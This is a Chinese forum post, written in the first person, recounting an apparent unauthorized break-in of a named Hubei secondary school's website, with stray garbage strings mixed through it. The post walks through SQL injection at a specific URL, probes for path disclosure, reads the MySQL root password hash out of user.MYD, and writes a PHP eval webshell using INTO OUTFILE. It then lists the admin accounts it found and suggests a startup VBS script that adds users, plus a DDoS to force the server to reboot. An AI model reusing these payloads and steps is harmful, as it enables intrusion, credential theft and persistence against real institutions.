友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
) `4 {3 r/ J# R0 {, Y  t
& G2 n9 I' u8 \6 q/ m2 X. G
# j' d: k4 F0 y# Q& d
8 C. ~2 X. W, x6 c4 i0 |2 p常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

! x( k8 c; U' c+ h/ a试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
( t$ q! i" q( @  {: m; B3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
$ b. h+ s, H: D* }5./phpmyadmin/libraries/select_lang.lib.php  
- @# [* T5 \- j2 x/ t. M" J$ @6./phpmyadmin/libraries/lect_lang.lib.php  
: T/ `' W# Q( L% t% x8 K7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
, k2 L# \2 Z$ ~2 O4 Q8 |
均不行...........................

御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php

权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin
, u1 G9 x3 L: r% d+ u2 D
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
! `: y. L/ j( e" [5 p8 x2 s6 A
敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........
, }) O3 D) W: G# _! w
想想root还可以读，读到root密码进phpmyadmin 也可以拿shell
" S. }8 l0 [3 G0 v
& X1 Z1 w: x- ?$ S$ ]+ t3 v* |http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

3 G6 `) O, `' j3 A3 E成功读到root密码：

" U; u" ~* s- S. l; Q0 n17---- r(0072)
$ G  _: U  V3 C6 m5 x: W18---- o(006f)
9 K* \6 O: t7 j5 W& [" p0 t19---- o(006f)
20---- t(0074)
21---- *(002a)
22---- 8(0038)
23---- 2(0032)
24---- E(0045)
25---- 1(0031)
26---- C(0043)
4 F: Q7 q( P; L5 v+ ?& \27---- 5(0035)
28---- 8(0038)
5 e1 F1 U1 C9 s; C. A) |29---- 2(0032)
' l' {$ a0 }/ P. {. A30---- 8(0038)
31---- A(0041)
# Q' c5 F% W! F32---- 9(0039)
: ~6 T% c; E, {' u  w6 H33---- B(0042)
34---- 5(0035)
35---- 4(0034)
36---- 8(0038)
37---- 6(0036)
38---- 4(0034)
* t/ v; S2 J( d! u' Q( e) |39---- 9(0039)
40---- 1(0031)
0 @; _8 J. x" i# T; i" y' w41---- 1(0031)
4 \  r2 `% ~5 k0 M. ~42---- 5(0035)
' G0 x: |  `: k! D3 U43---- 3(0033)
44---- 5(0035)
0 X5 w' c, B, D3 S3 ]5 \- L45---- 9(0039)
5 t* Y5 K! O1 m46---- 8(0038)
47---- F(0046)
48---- F(0046)
% H7 t6 ]# x* F' q8 Y8 R; G' |49---- 4(0034)
50---- F(0046)
51---- 0(0030)
52---- 3(0033)
! ]8 b& y- R2 m6 K- w# ?. I53---- 2(0032)
1 Y/ R6 z& a0 D- h! L$ v54---- A(0041)
% ?8 }- h4 L4 `7 ^55---- 4(0034)
$ l, e; w. j+ s0 P56---- A(0041)
57---- B(0042)
58---- *(0044)
, X9 Y& L8 N  p% S+ D59---- *(0035)
60---- *(0041)
" B% _1 T6 A' B1 B; V# S" u61---- *0032)
# p6 G. w% d' }& Z) c; J7 l
解密后成功登陆phpmyamin
, q% P. w5 A1 T+ Q/ B                          

                             

找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'

9 e$ K6 O  G# Y! h$ ~" D成功执行，拿下shell，菜刀连接：

服务器不支持asp,aspx,php提权无果...................

5 b$ U8 ?( L# u4 \4 O但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：

服务器上已经有个隐藏帐号了

1 y  Y( I# r5 x1 g1 J. b' }0 A

别名     administrators
  @" i' N, E) C3 }注释     管理员对计算机/域有不受限制的完全访问权

) ^5 V5 D/ b6 l* a/ N, }8 J1 M8 X2 G

成员

/ B) q7 r: p* h. _' q8 ^

-------------------------------------------------------------------------------
& p/ o) L! C) W; ]8 O- j; nadmin
Administrator
slipper$
6 d' a$ _; y5 Fsqluser
命令成功完成。
/ C2 x0 N- i% W# j9 }2 b4 E
3 X# E- _) b1 m服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

- P/ N* I  a( Kddos服务器重启，不然就只能坐等服务器重启了...............................

      

angel